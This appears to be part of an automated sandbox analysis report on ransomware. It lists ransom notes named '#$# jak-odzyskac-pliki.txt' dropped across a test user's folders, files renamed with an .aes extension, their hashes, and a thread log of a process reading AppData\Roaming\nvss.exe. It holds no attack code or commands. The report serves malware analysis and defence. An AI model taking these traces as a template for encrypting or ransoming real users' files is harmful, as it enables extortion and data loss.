c:\users\kft6utqw\pictures\e8b06t5z\joddd\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: a62a3583cdce1e80ddf7213b9f0cf77e
SHA1: 4fdc86cd4eaea06740c79d019791429deefebb68
SHA256: 35f91180f40bf66f2d652a57b0e47939e2bcdd5bbf6303cd36f04b5014c5a9c0 		False
c:\users\kft6utqw\pictures\e8b06t5z\k-e 1jpgxeyukg\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 8320e6f45dadffeec167aeee53609ddd
SHA1: 198068b05a66d806fd08af8eb9488821c360b93c
SHA256: c9038eb0fa2705d6c7c6500f9514f8905b0f787dcb549b0810e45c993f2bab6c 		False
c:\users\kft6utqw\pictures\e8b06t5z\vgej4z4hhmv\vuewifeok\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 74c1a1938a4d9ab8d168acc8a181d601
SHA1: 6cbc228c55739bf871256f3a4223ee060f8ddf80
SHA256: 1213dc777fe40c479bd05d88224cff59e4be0682fe19512d1198f3bc71f3459a 		False
c:\users\kft6utqw\pictures\e8b06t5z\vgej4z4hhmv\w26w\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 568ee3a769c9fea2d890bb6bc23c43fd
SHA1: 24ee2b9ae39e68a8db7d433d2b28dae8e8bf7ef8
SHA256: 823d99ece7193051415cd84e5417f72858a43a0499f061ebd366ecf3eec37758 		False
c:\users\kft6utqw\pictures\e8b06t5z\vgej4z4hhmv\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: e17f25a09167186cbeb09ae377389eb2
SHA1: b9f29decd8fdbe5aeb45da2133995c8ddf018b6e
SHA256: 1095d4cd7fcbb4607ec5a463c37231865f1881e0bf043ad77cff54784f8bec9c 		False
c:\users\kft6utqw\pictures\e8b06t5z\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: e17f25a09167186cbeb09ae377389eb2
SHA1: b9f29decd8fdbe5aeb45da2133995c8ddf018b6e
SHA256: 1095d4cd7fcbb4607ec5a463c37231865f1881e0bf043ad77cff54784f8bec9c 		False
c:\users\kft6utqw\pictures\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 61702ec4ed58e11e5017a00eb72c6b2f
SHA1: 7309d13f144e5ff6eb79a0149b8cc52249328d5a
SHA256: 1f7d1c2f78b2fe7142a835ccfbd7cdb33658c40c3ef00d7aa149a6d2d3b6687d 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\ogal6nmv2cy0e3 6\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: f78df3ccf69363318da2b79f73275f6e
SHA1: 41c9649c71bb5259f57663a682dfd41ab8c8819d
SHA256: 0ac260de49443f32b63b2baca13f5cf18f879883dbbd93ebed6d03dbf1bff09b 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\spkpdtjk\clnojurnmvl\d xgp5yxo\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 386d8d06597b757afa311c47c3aa4b82
SHA1: 0b3b2414c455dc89776cca1b7fe73556ccb55c3f
SHA256: 3e29286595c06b7005455a5741d77438965a41b89a2907a268d0e006c9293839 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\spkpdtjk\clnojurnmvl\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 386d8d06597b757afa311c47c3aa4b82
SHA1: 0b3b2414c455dc89776cca1b7fe73556ccb55c3f
SHA256: 3e29286595c06b7005455a5741d77438965a41b89a2907a268d0e006c9293839 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\spkpdtjk\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 7f3ac020ebd789a44fe7f9054a8d2c78
SHA1: 61416220fae7e3b98897ca7d9c31a7bdba43ced9
SHA256: e8381bb080537827cda3fa5f564bed2f476ddc429c71dc851328a680e30d10b1 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 7f3ac020ebd789a44fe7f9054a8d2c78
SHA1: 61416220fae7e3b98897ca7d9c31a7bdba43ced9
SHA256: e8381bb080537827cda3fa5f564bed2f476ddc429c71dc851328a680e30d10b1 		False
c:\users\kft6utqw\music\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 7f292a9240dcc5e82bac4a9d88b3b5a6
SHA1: fc0bf85fcfd24410fbfbfb350a6764c1cdac295c
SHA256: d6e461b51bde144081fcebe373e689b337a4584ac37630e1b77a3d3d3782c4fb 		False
c:\users\kft6utqw\videos\extoa\5rxjc 2tw9i2cmhdlv\eyqf5ksecamn6njljm\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 7f292a9240dcc5e82bac4a9d88b3b5a6
SHA1: fc0bf85fcfd24410fbfbfb350a6764c1cdac295c
SHA256: d6e461b51bde144081fcebe373e689b337a4584ac37630e1b77a3d3d3782c4fb 		False
c:\users\kft6utqw\videos\extoa\5rxjc 2tw9i2cmhdlv\lnvggurmvcvr5ekcq-4\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 7f292a9240dcc5e82bac4a9d88b3b5a6
SHA1: fc0bf85fcfd24410fbfbfb350a6764c1cdac295c
SHA256: d6e461b51bde144081fcebe373e689b337a4584ac37630e1b77a3d3d3782c4fb 		False
c:\users\kft6utqw\videos\extoa\5rxjc 2tw9i2cmhdlv\wqhnocgb21accc\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 053b945285739893c800d9aec5eb49ad
SHA1: bb3da34a9fefe9a57e5c1fb1abf2529df3dce0f7
SHA256: d23ca24ff3256b4352ef6445afe23a22476ce2c17388680f6e8c7341591e440b 		False
c:\users\kft6utqw\videos\extoa\5rxjc 2tw9i2cmhdlv\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 053b945285739893c800d9aec5eb49ad
SHA1: bb3da34a9fefe9a57e5c1fb1abf2529df3dce0f7
SHA256: d23ca24ff3256b4352ef6445afe23a22476ce2c17388680f6e8c7341591e440b 		False
c:\users\kft6utqw\videos\extoa\ijyi ku9gkwyypfgatz\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: dcdeefee3471d9f83de438345adaf690
SHA1: 50100ca304709d1100f77e998c26dabdb60d21d2
SHA256: f2152c6eae06767063cfe7d5d8d30e3ebfefef59b4d4c29a2d1a749f01f38d54 		False
c:\users\kft6utqw\videos\extoa\r-_fu8vdku2twrl\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 6f071e286fb00941bb763dcf065a2b03
SHA1: e39ec167a2ae272277bd74eee84e3908c3cc60b3
SHA256: c06dea51ced62ad71648fb18782665920e285472ca578256236d31eed785795e 		False
c:\users\kft6utqw\videos\extoa\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: e0eccdf604f1efd4682a51b796e9ef62
SHA1: 4d09e0dd3bf3a06f104be9dc5b55b3751498c2a3
SHA256: a05219897c20d9b0e5c51af362fbbbcd8b1673aa6db26b735a1eee193327a99d 		False
c:\users\kft6utqw\videos\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: b78f205248971f2d1ff730768e63e5e2
SHA1: 35269e157a6cc2e2bb959f2b4d3521f56ebd4798
SHA256: b2a65cde28ae1242f90263631daa065c89889d5563c5e40f0b45eabd001d7edb 		False
c:\users\kft6utqw\desktop\1zxeg6xm\cnh\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: b78f205248971f2d1ff730768e63e5e2
SHA1: 35269e157a6cc2e2bb959f2b4d3521f56ebd4798
SHA256: b2a65cde28ae1242f90263631daa065c89889d5563c5e40f0b45eabd001d7edb 		False
c:\users\kft6utqw\documents\m-puio0zggg_ddsrzn.docx.aes 35.63 KB (36482 bytes) MD5: 46fd51df427668bd44f09aced2dbd4e3
SHA1: 5682e1fcc43e9c826e4ed8d9b0fd77524199a9b5
SHA256: ecc14b6db6c57c670ba5ec7e1b264a8fdb456d1db95af731fc95f55c557f1818 		False
c:\users\kft6utqw\documents\nfjvj4.docx.aes 23.66 KB (24226 bytes) MD5: f78b8fe97171f5018267e38507441d19
SHA1: effdb704a68c020ac042875b931f825b97bb454d
SHA256: 81f9f75421581977317422a81f42d7ade9979c8b0f46d2527efa6ce580f1f5e4 		False
c:\users\kft6utqw\documents\q7ikh0ztpga.pptx.aes 9.99 KB (10226 bytes) MD5: 7235e53d262732945d8a375f945a3de7
SHA1: 3c1e6adc09077541eb0cbfe31885489a71dac793
SHA256: d8b9d66ba32a3af0e5969470b6ba6cbc1a3cd1a989d9195dc3bda420e9dd7c92 		False
c:\users\kft6utqw\documents\qis2t0idi.docx.aes 67.78 KB (69410 bytes) MD5: 0e8560282b8c4a6ec1fd5c952c07af99
SHA1: e6ee918d36b01b33ab0eba405d52a2ed8404181a
SHA256: 12dc712ac4e8c7c64922bc04b611bbecae314082b5281e472a79a4012b1c50c2 		False
c:\users\kft6utqw\documents\rltenk6-mjnoz-rauf3v.xlsx.aes 67.75 KB (69378 bytes) MD5: d5727bec6b966e713f5810a849aa5246
SHA1: e6ccf79766615031b95fa6905bf9f8c0bb86fedc
SHA256: f1d72df150d5ff7e642e31206a15bfc858ee681c762ef6e4d9dce8ecca154d44 		False
c:\users\kft6utqw\pictures\e8b06t5z\joddd\hgzfj\-fs-r5u50bfkvf.png.aes 79.06 KB (80962 bytes) MD5: 7bb2e8ec37ac4b620d87678f7be34ef1
SHA1: 5f39bbf26aa189c857a5e9bf707d84daaef58d4b
SHA256: 8d68c18af26ecf7076fb96306ef866b2a408bd4153560d429fcabb5b3f093c23 		False
c:\users\kft6utqw\pictures\e8b06t5z\joddd\hgzfj\z3txdnfa.bmp.aes 51.66 KB (52898 bytes) MD5: 46d2e6cb7f4ca911091c2f4ee2ecd912
SHA1: 8ec9c05490617cb7dae0588fcc8e1751ffaa9d70
SHA256: dda2c8e48380ff7b23ff11e5306d6ff216c520274b60a2ab7e8afe37de6d8e67 		False
c:\users\kft6utqw\pictures\e8b06t5z\joddd\tmdcgsua1hpeixp_g-_\3wlgr0fumkcnd1.png.aes 12.55 KB (12850 bytes) MD5: d710ba1f9a81fbc1c13d7b20df83277a
SHA1: 528b02ff9d2dd4d77fdfd9a700a22c4e096a83f4
SHA256: 1061bd095af27d7fe35f56f3a9365a7d8def1a1b1ce4903df2f842ccfe399e55 		False
c:\users\kft6utqw\pictures\e8b06t5z\joddd\tmdcgsua1hpeixp_g-_\8hsxlmz5fcchefkc.png.aes 59.06 KB (60482 bytes) MD5: f4b5452216d5cb0fb9cefaa11f242e58
SHA1: e7858ee1015a02b10e45e743ffe1d7bda89a2c02
SHA256: b0f9d4f9a863238e515a3aa7c989f84f2451ff4afd27f8508365a4d1cefbd2dd 		False
c:\users\kft6utqw\pictures\e8b06t5z\joddd\tmdcgsua1hpeixp_g-_\pr 2s.bmp.aes 3.60 KB (3682 bytes) MD5: 10b2f6540bff351636f42339c1b643a7
SHA1: 982656311181ec70596ba950e6605305c7f7c8d6
SHA256: b9a4b666e6d46baf75772ae2815a85bdceec9ddff501ca829b2b681ddc97f767 		False
c:\users\kft6utqw\pictures\e8b06t5z\joddd\2mlpi.gif.aes 23.63 KB (24194 bytes) MD5: 1878f1b773dcedc9cac040f2a2b2b8e6
SHA1: b55dabf912cd2dee14689e0f5617f9bb3827cbe4
SHA256: 99f9a7d45602b8eb042ff8a2f59ad429261fe9211fd3f3c17e3b165aab8bbc9e 		False
c:\users\kft6utqw\pictures\e8b06t5z\joddd\jp-9xm1bmm.gif.aes 65.22 KB (66786 bytes) MD5: 28e7ebc290ab9d66146d876f60719e1a
SHA1: 08cf9655e9fb04f78375b746014526c0adab57d3
SHA256: 04d9f130381e626f3ef5ae2c5d68737dd28021da972605a4c7bb40b1a0ed8171 		False
c:\users\kft6utqw\pictures\e8b06t5z\joddd\m8qmiadbo6rfghx.png.aes 76.60 KB (78434 bytes) MD5: eacdf76ecf7f4b5e78c0fd29a348cea0
SHA1: 0e48b08dd66df2e11f805f05032cbd61f1ab9877
SHA256: 35435da68e0bfdb82aaa7d6eba4943c6e5fa6967b7e3d772e423ee36667ad96c 		False
c:\users\kft6utqw\pictures\e8b06t5z\joddd\_g8eg0.gif.aes 92.42 KB (94642 bytes) MD5: 51a99d0f1f32a1c3c6b6752f1f5eb550
SHA1: 326141069ecceb4de8e70b07bc4966c46fdc0702
SHA256: 21557d72e6aa6fb37becd6d62c3805abae79d832cb17a8a9cae077d20a47bde4 		False
c:\users\kft6utqw\pictures\e8b06t5z\k-e 1jpgxeyukg\c7fcn8b.bmp.aes 71.33 KB (73042 bytes) MD5: 5e964211411022eaae91419506f2100e
SHA1: f6e54c903de4c689b8b613558eac73f12f998621
SHA256: be249b51e66fb01abcba2bb7e138922a931fc802fa00fb298d61b44dd5f956d3 		False
c:\users\kft6utqw\pictures\e8b06t5z\k-e 1jpgxeyukg\dhn.png.aes 55.10 KB (56418 bytes) MD5: ca71590f70e963d7a439b1f14c3a3505
SHA1: 0edc2846537f588767d9db0db53afe319e942ea7
SHA256: f8126bb815fce1b0b91dd2c322f04549d98a9a4447114d4ff9c3ff666833b1cf 		False
c:\users\kft6utqw\pictures\e8b06t5z\k-e 1jpgxeyukg\hlufp.gif.aes 35.49 KB (36338 bytes) MD5: ef32330fa9b2e77d0fdd5d55e0cc2d5c
SHA1: e2d51eca25c2e32a42ccb7c36e2d129b8f84a832
SHA256: fd4266409feb459b961db3603228b384e1834b7367a5194bc8e4ac27a5b2c165 		False
c:\users\kft6utqw\pictures\e8b06t5z\k-e 1jpgxeyukg\hy7xic9tp5afulp5tba.gif.aes 42.17 KB (43186 bytes) MD5: 13994d4d58262069576841f930dff4ec
SHA1: 2fd6bfad49bd383a0c88348f17d5b81bec3139b9
SHA256: 42d6c418c3d8474d7e5bd46a03792c229b36660c6b06971cf97ab1a4878f7ed6 		False
c:\users\kft6utqw\pictures\e8b06t5z\k-e 1jpgxeyukg\ljszdoyltsvld u.jpg.aes 47.66 KB (48802 bytes) MD5: e9682fb13486a4857768244d92a3ff3e
SHA1: 8bbb651b9a9cad681977091dfaa82ea1156c07d2
SHA256: 395b9e631f36c82f3e632fa4bce9f967eef300eeae7cdf94b7437465d7350c3e 		False
c:\users\kft6utqw\pictures\e8b06t5z\k-e 1jpgxeyukg\metsfgadg8jkpvq.gif.aes 3.50 KB (3586 bytes) MD5: bb0f62a2dfbf26a6d751982c57a9aea1
SHA1: 11860db0c8c140b98330f30f9d8a1d5309e1eab9
SHA256: 408c46f08f5fa0f924de60c284e5f59459d9be5ba5da929af5cbd8afc532beef 		False
c:\users\kft6utqw\pictures\e8b06t5z\k-e 1jpgxeyukg\qb7s9ah4l3t.png.aes 45.00 KB (46082 bytes) MD5: 0f6849849c005fc01b64c07f1fab5bdd
SHA1: 3196e8a33ecdd91bef97e328dfdd2f6c0ca4b95a
SHA256: 0ef2caf3fd1bd68668edb02a02a268caf59dfa55837c8984b56ec57f32e425c5 		False
c:\users\kft6utqw\pictures\e8b06t5z\vgej4z4hhmv\vuewifeok\btmvvnx cfkn1xv99u44.gif.aes 91.94 KB (94146 bytes) MD5: fba6c69ee942cac203edc54a01c42d08
SHA1: dc75277d5caab8a220c0ce943b9472a63f3fdf10
SHA256: 53c62a0c3ecd866e249b6f10fe675b964f382736c2c11431dd6cea61b0f983ed 		False
c:\users\kft6utqw\pictures\e8b06t5z\vgej4z4hhmv\vuewifeok\c wnwie5.gif.aes 11.61 KB (11890 bytes) MD5: accf228c234cf26a0c7d6fec048abcd4
SHA1: ccf01650ba62909974bed348fb6aeb60e995be11
SHA256: 70215d5e16468252784d53a279e6780e5abb2bc1edf5ae0fed2569ed3f737e96 		False
c:\users\kft6utqw\pictures\e8b06t5z\vgej4z4hhmv\vuewifeok\zfdojvki.png.aes 20.02 KB (20498 bytes) MD5: 34f09333c32178ec0fe4798c51fcdada
SHA1: abe1a5c67de5edd1db346df2bfdcd05a82250afa
SHA256: 43558bbd5f66437caa2b7adc80601b6bf26762aaf5d66520d9224efe9bb0bf4b 		False
c:\users\kft6utqw\pictures\e8b06t5z\vgej4z4hhmv\w26w\-4w-q4wd1z.bmp.aes 41.96 KB (42962 bytes) MD5: e73c10079a2f673d61f869badd8155fb
SHA1: 18124af8d920518f38592e2e87343a3d0c7ee7c4
SHA256: a046acd6e3623ac61becbfe7961c335671bfaf60d2943faf4bf6a0e336f86bc2 		False
c:\users\kft6utqw\pictures\e8b06t5z\vgej4z4hhmv\w26w\fs30oromojdbc.gif.aes 65.24 KB (66802 bytes) MD5: 35dbd9ccfd154bfd175a0bd391b1c46a
SHA1: a4daf97345b04e6f0bf6a4c8e37a67ce7c7b5998
SHA256: 8d54992fefddb06e6fc957fbc58f36d6d91aaf22370bdbbd91e5fda1e9b329f7 		False
c:\users\kft6utqw\pictures\e8b06t5z\vgej4z4hhmv\w26w\kfh dlkg2staglp.jpg.aes 97.31 KB (99650 bytes) MD5: 935889cf8e562e318c55a318428be53c
SHA1: 25f8e127cb515a948ce63f7931fc467221a3d945
SHA256: 90662c22ebb11fccaa2708d2c14f73935ad6afa14e024d7b388f24546917149a 		False
c:\users\kft6utqw\pictures\e8b06t5z\vgej4z4hhmv\w26w\kvhysdzay9p7no8z735z.png.aes 49.08 KB (50258 bytes) MD5: cf876d89a6b219a89ff528c392a3882e
SHA1: 12aaed1360e522485fd7b34b628958ba2582885b
SHA256: 52dffec88babf318b3e3bfec2cb9aed189ebf897603b68408bbf6ec4859d8bb5 		False
c:\users\kft6utqw\pictures\e8b06t5z\vgej4z4hhmv\w26w\pffh.bmp.aes 11.03 KB (11298 bytes) MD5: db4e3eff1935546dc91a789af941efa3
SHA1: 7939f071be3f45b27bd129873892cbe634911507
SHA256: a4a84a386be06865ee264f976d92993f63b59076a90c9b8bb5f86ea9a9bc42dd 		False
c:\users\kft6utqw\pictures\e8b06t5z\vgej4z4hhmv\hj3hcknndjhrdyob.bmp.aes 86.63 KB (88706 bytes) MD5: d704b39e96ace1e9680656ecc41ba45c
SHA1: ed0559ea0ee77ea6a11d7bd466085f921d74b3d1
SHA256: 352a7435112d013eee8f672dc51b6042087dab02bfd2522be179c51104c7c512 		False
c:\users\kft6utqw\pictures\e8b06t5z\vgej4z4hhmv\iq814t.jpg.aes 55.66 KB (56994 bytes) MD5: b075ff6bcc1398b5012471b78fe73559
SHA1: 20d5e36608da2ec3333231e2662be9581753973d
SHA256: 931f7fd054716f5dc4ef982b0cb2ef25b19354e62d65a242a53644e276eade1f 		False
c:\users\kft6utqw\pictures\e8b06t5z\s-t1dx_aj3.bmp.aes 48.36 KB (49522 bytes) MD5: cd66f4db85d6d442cfab2a5c809d6044
SHA1: 36053b4cef0181f908d0bce466550e901a9dd24d
SHA256: 7b7aaf9809e222428f8dce0044952ba34016038dbf9f5399ea487c3bdf5f4670 		False
c:\users\kft6utqw\pictures\4nz6fd 37umclhfq6.gif.aes 41.53 KB (42530 bytes) MD5: 7c7eddf376e72dd9ffe833b6678e7845
SHA1: 0c72a25c7efdf2dca4cdccd965380006c103114b
SHA256: 05f5a0b53b2c6143cb23b752152bace25bc73317202c06a52a7681489967ea0d 		False
c:\users\kft6utqw\pictures\dxfmoruezqji.bmp.aes 12.31 KB (12610 bytes) MD5: eda7d48889d003792454783691b40d1e
SHA1: e263f59d1fe5f672071b040873641d4bcd52e6b2
SHA256: d5384697261e5ea0ae0b08fa7e970b39a231607e77a8f5fe002106bc4d7b6d7a 		False
c:\users\kft6utqw\pictures\ijyzg07wazvwa6fxqh0.gif.aes 61.77 KB (63250 bytes) MD5: 87b30b0b15565d24c76735a4018820ef
SHA1: 50a55e8c82808d505cf6c2d1a5ae9dd21dd9343c
SHA256: 43ec2359847c04335e7efe7e1a5c4bca7850fa10ad10c1e4bb7164b39e2b00da 		False
c:\users\kft6utqw\pictures\np za.bmp.aes 40.83 KB (41810 bytes) MD5: ed068736adf9db8ee6657e4efbc5aa23
SHA1: 5210287477ea6dcffb0be3cd3eac2810b4e6562f
SHA256: 4439fa657ed7847b2334dec7e1c792dc47e201ea13474fee9104dbe188330b25 		False
c:\users\kft6utqw\pictures\oypzzx.jpg.aes 19.28 KB (19746 bytes) MD5: 18b383bfe85a0e38654727b470238b93
SHA1: edd8c503377dc0a4fff674ac97bf438de3955c90
SHA256: 60731910cc92087ac13346df70511c935cb9987efcc22e3c9fcc72c65370a0e6 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\ogal6nmv2cy0e3 6\cqqmpg-jbive.wav.aes 12.60 KB (12898 bytes) MD5: 2efecc5e09a806518caaaa451330e6d5
SHA1: d97403ff308b4ad8ba1b978147e1504614cfa88e
SHA256: c38f03bbbe51b548218be617dd167dc2575ce063bc4b27ab166894b0d4c94129 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\ogal6nmv2cy0e3 6\eh1oc xshc.wav.aes 5.89 KB (6034 bytes) MD5: 94c84b999e958e384632ddda2c11db87
SHA1: 1cf64f860701da8e0d216300573966e7055447b2
SHA256: 02b95f691723532fb8fedb43d457012dfa65f00b97514c65fc63ce7925387784 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\ogal6nmv2cy0e3 6\jmrfgsolm2gk_qf.wav.aes 4.56 KB (4674 bytes) MD5: 972060ec2b90cc088faf2d3c9733b404
SHA1: 8660c10575b687b3f467e6945403fb864910d454
SHA256: 9a05ac5dc9ea31f97c46888f4d8385637ad3fc9aefc0f98c3585e555da3f39ba 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\ogal6nmv2cy0e3 6\mtd6xqw0jrc8h.wav.aes 49.00 KB (50178 bytes) MD5: 79d31eb4c4c563d24f1231953abee005
SHA1: 59c4b937a3f6dc01605767b2e7e958f56bd64937
SHA256: 96aaa4cb45be0f173c54350bc5fa719095a2430f9068239821cc11f17e11c478 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\spkpdtjk\clnojurnmvl\d xgp5yxo\zxoge.wav.aes 99.22 KB (101602 bytes) MD5: 41e75f67da25ed6018e480c4a003b804
SHA1: c341245f06e806417ce4cb14d9630c66689058ee
SHA256: 35fbf8a4a72082edc4decf7569ef131538217631f81ff381ba03dca2d2daf28a 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\spkpdtjk\clnojurnmvl\b95u.wav.aes 70.56 KB (72258 bytes) MD5: 375a9e6c894010cba93ad55981c3fd67
SHA1: 398a5cac8fa575f8230ce2ea3e6f7fb8088606af
SHA256: 7aa20a99de140edc4aaa49a3cf052fe3adafd442872060d97a2fcbb595bc4cd0 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\spkpdtjk\clnojurnmvl\m9qfpaq6hssl8whb.wav.aes 88.72 KB (90850 bytes) MD5: 93bbc1027ecb8600c30338a0bd6bb267
SHA1: 7afa897ee034ace147a6209cab4c25849b2b76a1
SHA256: 2e2b399a6cb1a24ac8b79ab42acb7eb97bcf64b62d5616d15fc65f7542f5be0c 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\spkpdtjk\clnojurnmvl\mmtrdlygm.wav.aes 48.22 KB (49378 bytes) MD5: ff6a626834c39acd8b578140989dd65c
SHA1: 5152e4b8edaa66f4a95f01f34fd86c044a92fd12
SHA256: 60107d665f32d86edcdbe66b2323390fab3c5d50ba12dbec8aee5817dc0df7c7 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\spkpdtjk\clnojurnmvl\om rimvmjxnxzplia-.wav.aes 77.50 KB (79362 bytes) MD5: 72d78ded59ae878ea4bf66aaf78ae1ac
SHA1: 23e7b55c913b17a10f66cfb8df3c89775e0a093a
SHA256: 30a39fb8026cb096391441ff073213851d2141a98847ba7e56665c42e40e2564 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\spkpdtjk\bdvgdqlhd8y.wav.aes 89.27 KB (91410 bytes) MD5: cc4291ec28c66d69c59c06c6aba3675d
SHA1: 4b8c771ca03fdd214a9018cbf682ef90bd8c4021
SHA256: eb0157558b237bc62b6fe486e84127279df47897ddfe6b484c94e1fdfcc21e65 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\spkpdtjk\ldkh5kxqmk43.wav.aes 91.25 KB (93442 bytes) MD5: bdd540c16de9535056c5acae807106f3
SHA1: 4f6184f38ebe65124388686046e341af605cf85f
SHA256: 7a0747a2d9c308cbf5d25572254a213c1dd94e8c4da6612fe3451e92cdbcf3d6 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\bpwdqbd367v5jcwf.wav.aes 14.88 KB (15234 bytes) MD5: 004d812c19245dee58e0966f07c82683
SHA1: 3a623a42aea5506b6b4ed66deec1c8e37b3dc388
SHA256: ff15aef5260061fd34a206741226ca440858a0ca77e6cac95029c9113d236ca5 		False
c:\users\kft6utqw\music\e1mt woaqipijv7ecvn\lbtiev6ysxhhxcjq.wav.aes 78.64 KB (80530 bytes) MD5: ef56213a2a03b2ca546d2ef53b0a62be
SHA1: 588d88ed499093351870ac786c1819561d98b2fa
SHA256: d4e4eaacb58db4e60522f8bea5059da6c1819ce6dd752f7a7230231cbeaf91fe 		False
c:\users\kft6utqw\music\giud.wav.aes 68.14 KB (69778 bytes) MD5: d2c9aa40567cf701ab262bf9de7b274b
SHA1: 1f66c9eaeb6805c77bb7d9fede3d0596a0e189b7
SHA256: 972fd9ff136dd087ff14080fa536b8c7d0d1cd57e07d853b0d7823e9033c8d34 		False
c:\users\kft6utqw\music\qnsmqvcmaaiuq5u.wav.aes 54.35 KB (55650 bytes) MD5: 47dbedc3579d6becea21d1ffa85c2601
SHA1: d9748dbd27a38e79df1cea8c7e28045605e6d811
SHA256: bffbcaf6dc814d8f52b19633d932741a8e614208b9a062822212d570bb635372 		False
c:\users\kft6utqw\videos\extoa\5rxjc 2tw9i2cmhdlv\eyqf5ksecamn6njljm\y3m6chihdf_yy2sbaze.avi.aes 89.22 KB (91362 bytes) MD5: 8cb41d5769de0ef8ed58a0591665a0fb
SHA1: f766e8b3d61ee15682596a452ea6fdaf2e993572
SHA256: c17714f62ca6507b7140d1a149d0ed4de6ab22e83568e8de097cc68ecaa02d24 		False
c:\users\kft6utqw\videos\extoa\5rxjc 2tw9i2cmhdlv\lnvggurmvcvr5ekcq-4\ejvttmxbiz6sbbuew.swf.aes 42.38 KB (43394 bytes) MD5: 35cf8461c521d8b60e72db3289ebe26e
SHA1: 3e0753ed78b934c999f2da4359201367e3079bec
SHA256: 6d30d89a3ea636f513a26e417e04ac83b1a2c70bf33b8713cba90238aec240e2 		False
c:\users\kft6utqw\videos\extoa\5rxjc 2tw9i2cmhdlv\lnvggurmvcvr5ekcq-4\xstc7qezlhs _ste0b.avi.aes 7.47 KB (7650 bytes) MD5: 415d10e3d9a949f0a80cfbacaea7f908
SHA1: 820c14506371195fa958c06d6c56f29107e5a7a5
SHA256: 5d2e2c703a5a3c3f29bf8c8727f9ba356145bd8a1ffd860a65e99fc727bd7edb 		False
c:\users\kft6utqw\videos\extoa\5rxjc 2tw9i2cmhdlv\wqhnocgb21accc\4m2t-htfvxv73.swf.aes 56.42 KB (57778 bytes) MD5: 51e33bc6bca3efb60b4dea404216463f
SHA1: 96338c13c8dd8f19f5e9c90f8752ac85225511b6
SHA256: 62698be77f2cbafe68adfe06dba77037ee05869b8b818affd83fd24e377a510a 		False
Modified Files
+
Filename File Size Hash Values YARA Match Actions
c:\users\kft6utqw\appdata\local\gdipfontcachev1.dat 106.29 KB (108840 bytes) MD5: 0ca6e490d14a6ce88ae3ddae37e3ab68
SHA1: 51e8a1f6b02afd748aaba11f90b32b17922ec606
SHA256: 09efbda7b1f894cd9276b52bd0b51d7c25c4b674e6d7b219c77e5e5f48a83846 		False
c:\users\kft6utqw\appdata\locallow\microsoft\cryptneturlcache\metadata\94308059b57b3142e455b38a6eb92015 0.33 KB (342 bytes) MD5: 056ff6888e1cabab306bbc8d70e30f26
SHA1: 0c19c8c7f125b9aa77efcd96b0205bf9c73f81c9
SHA256: ed4857269890bb5f05f8a00e242a9371ae9cc922e6a98ae0d3ba6f4959a90d4e 		False
c:\users\kft6utqw\appdata\locallow\microsoft\cryptneturlcache\metadata\94308059b57b3142e455b38a6eb92015 0.33 KB (342 bytes) MD5: 7c07d3bcec4525e80ecc89da3e6a0ba5
SHA1: a2ee4711a3a66aad3e90487887f5be36e7440897
SHA256: d35eab7249d4c08aa44fa7c082d96db01e55490600b3426eb4588057e1c561d6 		False
Threads
Thread 0xa94
(Host: 215, Network: 14)
+
Category Operation Information Success Count Logfile
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, type = file_type True 2
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, type = size, size_out = 0 True 1
Fn
File Read filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 402944, size_out = 402944 True 1
Fn
Data
Module Get Handle module_name = comctl32.dll, base_address = 0x0 False 1
Fn
Module Load module_name = comctl32.dll, base_address = 0x6bc90000 True 1
Fn
Module Get Handle module_name = comctl32.dll, base_address = 0x0 False 1
Fn
Module Load module_name = comctl32.dll, base_address = 0x74820000 True 1
Fn
